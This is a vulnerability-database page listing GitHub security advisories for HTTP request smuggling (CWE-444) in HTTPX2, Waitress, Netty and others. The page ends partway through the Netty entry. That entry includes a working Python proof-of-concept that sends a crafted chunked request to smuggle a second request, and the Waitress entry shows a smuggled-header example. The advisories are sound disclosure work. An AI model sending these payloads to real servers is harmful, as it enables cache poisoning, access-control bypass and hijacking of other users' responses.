Common Weakness Enumeration

CWE-444

Allowed

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Abstraction: Base · Status: Incomplete

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

701 vulnerabilities reference this CWE, most recent first.

GHSA-PF96-P4FJ-6566

Vulnerability from github – Published: 2026-09-08 20:46 – Updated: 2026-09-08 20:46
VLAI
Summary
HTTPX2: Conflicting Content-Length and Transfer-Encoding headers can be auto-generated
Details

Summary

HTTPX2 can automatically add a Content-Length header to a request that already contains a caller-supplied Transfer-Encoding header. The resulting HTTP/1.1 request contains both framing headers, which can create an ambiguous message boundary and enable request smuggling or connection desynchronization when processed by intermediaries that disagree about which header takes precedence.

Details

When a request body has a known size, HTTPX2's content encoder returns a default Content-Length. Request._prepare() applies each default header with setdefault(), which only checks whether that same header is already present. It does not check whether the mutually exclusive Transfer-Encoding header is present.

For example:

import httpx2

request = httpx2.Request(
    "POST",
    "http://example.com/",
    headers={"Transfer-Encoding": "chunked"},
    content=b"test 123",
)

print(request.headers)

The request contains both:

Transfer-Encoding: chunked
Content-Length: 8

On an HTTP/1.1 connection, the body is serialized using chunked transfer coding while both headers are sent on the wire. This violates HTTP message-framing requirements. Fixed-size byte, JSON, form, and known-length multipart bodies can reach the affected path.

Streaming bodies with an explicit Content-Length are not affected in current HTTPX2 releases because the automatically generated Transfer-Encoding is already suppressed in that direction.

Impact

An attacker may be able to use the conflicting framing headers as a request-smuggling or desynchronization primitive. Exploitation requires an application to pass attacker-controlled request framing headers and associated body data to HTTPX2, use HTTP/1.1, and communicate through a proxy or origin that accepts conflicting headers and interprets them differently from another hop.

Depending on the downstream infrastructure, successful exploitation could interfere with requests sharing a persistent connection, bypass front-end routing or authorization decisions, or poison responses or caches. Applications that do not forward attacker-controlled Transfer-Encoding headers are not directly exposed.

Mitigation

Upgrade to HTTPX2 2.11.0 or later. Patched versions treat Content-Length and Transfer-Encoding as mutually exclusive when applying automatically generated request headers.

If upgrading is not immediately possible, remove Transfer-Encoding and other hop-by-hop framing headers from untrusted input before constructing outbound requests. Applications acting as proxies should derive outbound framing from the body rather than forwarding inbound Content-Length or Transfer-Encoding headers.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "httpx2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:46:28Z",
    "nvd_published_at": "2026-09-02T18:21:29Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nHTTPX2 can automatically add a `Content-Length` header to a request that already contains a caller-supplied `Transfer-Encoding` header. The resulting HTTP/1.1 request contains both framing headers, which can create an ambiguous message boundary and enable request smuggling or connection desynchronization when processed by intermediaries that disagree about which header takes precedence.\n\n### Details\n\nWhen a request body has a known size, HTTPX2\u0027s content encoder returns a default `Content-Length`. `Request._prepare()` applies each default header with `setdefault()`, which only checks whether that same header is already present. It does not check whether the mutually exclusive `Transfer-Encoding` header is present.\n\nFor example:\n\n```python\nimport httpx2\n\nrequest = httpx2.Request(\n    \"POST\",\n    \"http://example.com/\",\n    headers={\"Transfer-Encoding\": \"chunked\"},\n    content=b\"test 123\",\n)\n\nprint(request.headers)\n```\n\nThe request contains both:\n\n```text\nTransfer-Encoding: chunked\nContent-Length: 8\n```\n\nOn an HTTP/1.1 connection, the body is serialized using chunked transfer coding while both headers are sent on the wire. This violates HTTP message-framing requirements. Fixed-size byte, JSON, form, and known-length multipart bodies can reach the affected path.\n\nStreaming bodies with an explicit `Content-Length` are not affected in current HTTPX2 releases because the automatically generated `Transfer-Encoding` is already suppressed in that direction.\n\n### Impact\n\nAn attacker may be able to use the conflicting framing headers as a request-smuggling or desynchronization primitive. Exploitation requires an application to pass attacker-controlled request framing headers and associated body data to HTTPX2, use HTTP/1.1, and communicate through a proxy or origin that accepts conflicting headers and interprets them differently from another hop.\n\nDepending on the downstream infrastructure, successful exploitation could interfere with requests sharing a persistent connection, bypass front-end routing or authorization decisions, or poison responses or caches. Applications that do not forward attacker-controlled `Transfer-Encoding` headers are not directly exposed.\n\n### Mitigation\n\nUpgrade to HTTPX2 `2.11.0` or later. Patched versions treat `Content-Length` and `Transfer-Encoding` as mutually exclusive when applying automatically generated request headers.\n\nIf upgrading is not immediately possible, remove `Transfer-Encoding` and other hop-by-hop framing headers from untrusted input before constructing outbound requests. Applications acting as proxies should derive outbound framing from the body rather than forwarding inbound `Content-Length` or `Transfer-Encoding` headers.",
  "id": "GHSA-pf96-p4fj-6566",
  "modified": "2026-09-08T20:46:28Z",
  "published": "2026-09-08T20:46:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/security/advisories/GHSA-pf96-p4fj-6566"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/pull/1137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/commit/829b93a2393212996f613e635261f777d9ec6eab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/httpx2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/releases/tag/v2.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTPX2: Conflicting Content-Length and Transfer-Encoding headers can be auto-generated"
}

GHSA-PG36-WPM5-G57P

Vulnerability from github – Published: 2019-12-20 23:03 – Updated: 2024-11-19 13:55
VLAI
Summary
HTTP Request Smuggling: LF vs CRLF handling in Waitress
Details

Impact

Waitress implemented a "MAY" part of the RFC7230 (https://tools.ietf.org/html/rfc7230#section-3.5) which states:

  Although the line terminator for the start-line and header fields is
  the sequence CRLF, a recipient MAY recognize a single LF as a line
  terminator and ignore any preceding CR.

Unfortunately if a front-end server does not parse header fields with an LF the same way as it does those with a CRLF it can lead to the front-end and the back-end server parsing the same HTTP message in two different ways. This can lead to a potential for HTTP request smuggling/splitting whereby Waitress may see two requests while the front-end server only sees a single HTTP message.

Example:

Content-Length: 100[CRLF]
X-Header: x[LF]Content-Length: 0[CRLF]

Would get treated by Waitress as if it were:

Content-Length: 100
X-Header: x
Content-Length: 0

This could potentially get used by attackers to split the HTTP request and smuggle a second request in the body of the first.

Patches

This issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies.

Waitress no longer implements the MAY part of the specification and instead requires that all lines are terminated correctly with CRLF. If any lines are found with a bare CR or LF a 400 Bad Request is sent back to the requesting entity.

The Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don't cause any changes in behavior.

Workarounds

Various reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn't use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method)

Issues/more security issues:

  • open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)
  • email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "waitress"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-12-20T23:01:44Z",
    "nvd_published_at": "2019-12-20T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWaitress implemented a \u0026amp;quot;MAY\u0026amp;quot; part of the RFC7230 (https://tools.ietf.org/html/rfc7230#section-3.5) which states:\n\n      Although the line terminator for the start-line and header fields is\n      the sequence CRLF, a recipient MAY recognize a single LF as a line\n      terminator and ignore any preceding CR.\n\nUnfortunately if a front-end server does not parse header fields with an LF the same way as it does those with a CRLF it can lead to the front-end and the back-end server parsing the same HTTP message in two different ways. This can lead to a potential for HTTP request smuggling/splitting whereby Waitress may see two requests while the front-end server only sees a single HTTP message.\n\nExample:\n\n```\nContent-Length: 100[CRLF]\nX-Header: x[LF]Content-Length: 0[CRLF]\n```\n\nWould get treated by Waitress as if it were:\n\n```\nContent-Length: 100\nX-Header: x\nContent-Length: 0\n```\n\nThis could potentially get used by attackers to split the HTTP request and smuggle a second request in the body of the first.\n\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies. \n\nWaitress no longer implements the MAY part of the specification and instead requires that all lines are terminated correctly with CRLF. If any lines are found with a bare CR or LF a 400 Bad Request is sent back to the requesting entity.\n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don\u0026amp;#39;t cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn\u0026amp;#39;t use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method)\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)",
  "id": "GHSA-pg36-wpm5-g57p",
  "modified": "2024-11-19T13:55:58Z",
  "published": "2019-12-20T23:03:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Pylons/waitress/security/advisories/GHSA-pg36-wpm5-g57p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16785"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Pylons/waitress/commit/8eba394ad75deaf9e5cd15b78a3d16b12e6b0eba"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0720"
    },
    {
      "type": "WEB",
      "url": "https://docs.pylonsproject.org/projects/waitress/en/latest/#security-fixes"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Pylons/waitress"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/waitress/PYSEC-2019-136.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/05/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GVDHR2DNKCNQ7YQXISJ45NT4IQDX3LJ7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LYEOTGWJZVKPRXX2HBNVIYWCX73QYPM5"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HTTP Request Smuggling: LF vs CRLF handling in Waitress"
}

GHSA-PH7P-H447-H4Q6

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15
VLAI
Details

Ping Identity PingAccess before 5.3.3 allows HTTP request smuggling via header manipulation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-24T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Ping Identity PingAccess before 5.3.3 allows HTTP request smuggling via header manipulation.",
  "id": "GHSA-ph7p-h447-h4q6",
  "modified": "2022-05-24T19:15:43Z",
  "published": "2022-05-24T19:15:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31923"
    },
    {
      "type": "WEB",
      "url": "https://docs.pingidentity.com/bundle/pingaccess-53/page/wco1629833104567.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PHP5-H4GR-Q7J6

Vulnerability from github – Published: 2024-12-14 03:32 – Updated: 2024-12-16 18:31
VLAI
Details

In Menlo On-Premise Appliance before 2.88, web policy may not be consistently applied properly to intentionally malformed client requests. This is fixed in 2.88.2+, 2.89.1+, and 2.90.1+.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-29476"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-14T02:15:05Z",
    "severity": "CRITICAL"
  },
  "details": "In Menlo On-Premise Appliance before 2.88, web policy may not be consistently applied properly to intentionally malformed client requests. This is fixed in 2.88.2+, 2.89.1+, and 2.90.1+.",
  "id": "GHSA-php5-h4gr-q7j6",
  "modified": "2024-12-16T18:31:08Z",
  "published": "2024-12-14T03:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29476"
    },
    {
      "type": "WEB",
      "url": "https://www.menlosecurity.com/published-security-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PJJW-QHG8-P2P9

Vulnerability from github – Published: 2023-11-27 23:15 – Updated: 2023-11-27 23:15
VLAI
Summary
aiohttp has vulnerable dependency that is vulnerable to request smuggling
Details

Summary

llhttp 8.1.1 is vulnerable to two request smuggling vulnerabilities. Details have not been disclosed yet, so refer to llhttp for future information. The issue is resolved by using llhttp 9+ (which is included in aiohttp 3.8.6+).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "aiohttp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-27T23:15:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nllhttp 8.1.1 is vulnerable to two request smuggling vulnerabilities.\nDetails have not been disclosed yet, so refer to llhttp for future information.\nThe issue is resolved by using llhttp 9+ (which is included in aiohttp 3.8.6+).",
  "id": "GHSA-pjjw-qhg8-p2p9",
  "modified": "2023-11-27T23:15:38Z",
  "published": "2023-11-27T23:15:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pjjw-qhg8-p2p9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiohttp/commit/996de2629ef6b4c2934a7c04dfd49d0950d4c43b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiohttp/commit/bcc416e533796d04fb8124ef1e7686b1f338767a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aio-libs/aiohttp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "aiohttp has vulnerable dependency that is vulnerable to request smuggling"
}

GHSA-PMF4-QHRQ-85QV

Vulnerability from github – Published: 2025-05-12 15:30 – Updated: 2025-05-13 00:31
VLAI
Details

Radware Cloud Web Application Firewall (WAF) before 2025-05-07 allows remote attackers to bypass firewall filters by placing random data in the HTTP request body when using the HTTP GET method.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-56523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-12T15:15:58Z",
    "severity": "CRITICAL"
  },
  "details": "Radware Cloud Web Application Firewall (WAF) before 2025-05-07 allows remote attackers to bypass firewall filters by placing random data in the HTTP request body when using the HTTP GET method.",
  "id": "GHSA-pmf4-qhrq-85qv",
  "modified": "2025-05-13T00:31:11Z",
  "published": "2025-05-12T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56523"
    },
    {
      "type": "WEB",
      "url": "https://radware.com/solutions/cloud-security"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/722229"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRG5-HG25-8GRQ

Vulnerability from github – Published: 2020-01-31 18:00 – Updated: 2021-01-08 20:32
VLAI
Summary
Ability to switch channels via GET parameter enabled in production environments
Details

Impact

This vulnerability gives the ability to switch channels via the _channel_code GET parameter in production environments. This was meant to be enabled only when %kernel.debug% is set to true.

However, if no sylius_channel.debug is set explicitly in the configuration, the default value which is %kernel.debug% will be not resolved and cast to boolean, enabling this debug feature even if that parameter is set to false.

Patches

Patch has been provided for Sylius 1.3.x and newer - 1.3.16, 1.4.12, 1.5.9, 1.6.5. Versions older than 1.3 are not covered by our security support anymore.

Workarounds

Unsupported versions could be patched by adding the following configuration to run in production:

sylius_channel:
    debug: false
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5"
            },
            {
              "fixed": "1.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-01-27T20:21:16Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\n\nThis vulnerability gives the ability to switch channels via the `_channel_code` GET parameter in production environments. This was meant to be enabled only when `%kernel.debug%` is set to true. \n\nHowever, if no `sylius_channel.debug` is set explicitly in the configuration, the default value which is `%kernel.debug%` will be not resolved and cast to boolean, enabling this debug feature even if that parameter is set to false.\n\n### Patches\n\nPatch has been provided for Sylius 1.3.x and newer - **1.3.16, 1.4.12, 1.5.9, 1.6.5**. Versions older than 1.3 are not covered by our security support anymore.\n\n### Workarounds\n\nUnsupported versions could be patched by adding the following configuration to run in production:\n\n```yaml\nsylius_channel:\n    debug: false\n```",
  "id": "GHSA-prg5-hg25-8grq",
  "modified": "2021-01-08T20:32:23Z",
  "published": "2020-01-31T18:00:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/security/advisories/GHSA-prg5-hg25-8grq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/SyliusResourceBundle/security/advisories/GHSA-8vp7-j5cj-vvm2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5218"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/sylius/resource-bundle/CVE-2020-5220.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ability to switch channels via GET parameter enabled in production environments"
}

GHSA-PW9P-JVRM-F7RM

Vulnerability from github – Published: 2026-06-26 20:55 – Updated: 2026-06-26 20:55
VLAI
Summary
PHP Standard Library: HTTP/2 server-side missing content-length validation enables request smuggling
Details

Impact

Psl\H2\ServerConnection does not validate that the total bytes received in DATA frames match the content-length header declared in the HEADERS frame, in violation of RFC 9113 §8.1.1.

A malicious client can: - Send more DATA bytes than declared, smuggling additional content past application-level size limits. - Send fewer DATA bytes than declared and close the stream early, causing applications that trust the declared length to behave incorrectly.

The vulnerability is only reachable for consumers using Psl\H2\ServerConnection directly to accept untrusted client traffic. The high-level Psl\HTTP\Server is in active development and was not yet released at the time of this advisory; consumers of documented high-level PSL APIs are not affected.

Patches

Fixed in 6.1.2 and 6.2.1.

  • Parses and validates the content-length header on incoming HEADERS (server-side only — clients do not enforce this per RFC 9110 §9.3.2).
  • Tracks cumulative DATA frame payload length per stream.
  • Throws StreamException on mismatch or overflow.

Regression tests landed in #781, 9 of the new tests fail against the pre-fix code, proving the validation boundary is enforced.

Workarounds

None at the protocol layer. Applications using Psl\H2\ServerConnection directly should upgrade.

Resources

  • RFC 9113 §8.1.1 (HTTP/2 request/response exchange)
  • RFC 9110 §8.6 (content-length header)
  • https://github.com/php-standard-library/php-standard-library/releases/tag/6.1.2
  • https://github.com/php-standard-library/php-standard-library/releases/tag/6.2.1
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "php-standard-library/h2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "php-standard-library/h2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "php-standard-library/php-standard-library"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "php-standard-library/php-standard-library"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T20:55:55Z",
    "nvd_published_at": "2026-06-17T21:16:23Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\n`Psl\\H2\\ServerConnection` does not validate that the total bytes received in DATA frames match the `content-length` header declared in the HEADERS frame, in violation of RFC 9113 \u00a78.1.1.\n\nA malicious client can:\n- Send more DATA bytes than declared, smuggling additional content past application-level size limits.\n- Send fewer DATA bytes than declared and close the stream early, causing applications that trust the declared length to behave incorrectly.\n\nThe vulnerability is only reachable for consumers using `Psl\\H2\\ServerConnection` directly to accept untrusted client traffic. The high-level `Psl\\HTTP\\Server` is in active development and was not yet released at the time of this advisory; consumers of documented high-level PSL APIs are not affected.\n\n## Patches\n\nFixed in [6.1.2](https://github.com/php-standard-library/php-standard-library/releases/tag/6.1.2) and [6.2.1](https://github.com/php-standard-library/php-standard-library/releases/tag/6.2.1).\n\n- Parses and validates the `content-length` header on incoming HEADERS (server-side only \u2014 clients do not enforce this per RFC 9110 \u00a79.3.2).\n- Tracks cumulative DATA frame payload length per stream.\n- Throws `StreamException` on mismatch or overflow.\n\nRegression tests landed in [#781](https://github.com/php-standard-library/php-standard-library/pull/781), 9 of the new tests fail against the pre-fix code, proving the validation boundary is enforced.\n\n## Workarounds\n\nNone at the protocol layer. Applications using `Psl\\H2\\ServerConnection` directly should upgrade.\n\n## Resources\n\n- RFC 9113 \u00a78.1.1 (HTTP/2 request/response exchange)\n- RFC 9110 \u00a78.6 (content-length header)\n- https://github.com/php-standard-library/php-standard-library/releases/tag/6.1.2\n- https://github.com/php-standard-library/php-standard-library/releases/tag/6.2.1",
  "id": "GHSA-pw9p-jvrm-f7rm",
  "modified": "2026-06-26T20:55:55Z",
  "published": "2026-06-26T20:55:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/php-standard-library/php-standard-library/security/advisories/GHSA-pw9p-jvrm-f7rm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48979"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/php-standard-library/php-standard-library"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php-standard-library/php-standard-library/releases/tag/6.1.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php-standard-library/php-standard-library/releases/tag/6.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHP Standard Library: HTTP/2 server-side missing content-length validation enables request smuggling"
}

GHSA-PWQR-WMGM-9RR8

Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49
VLAI
Summary
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Details

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
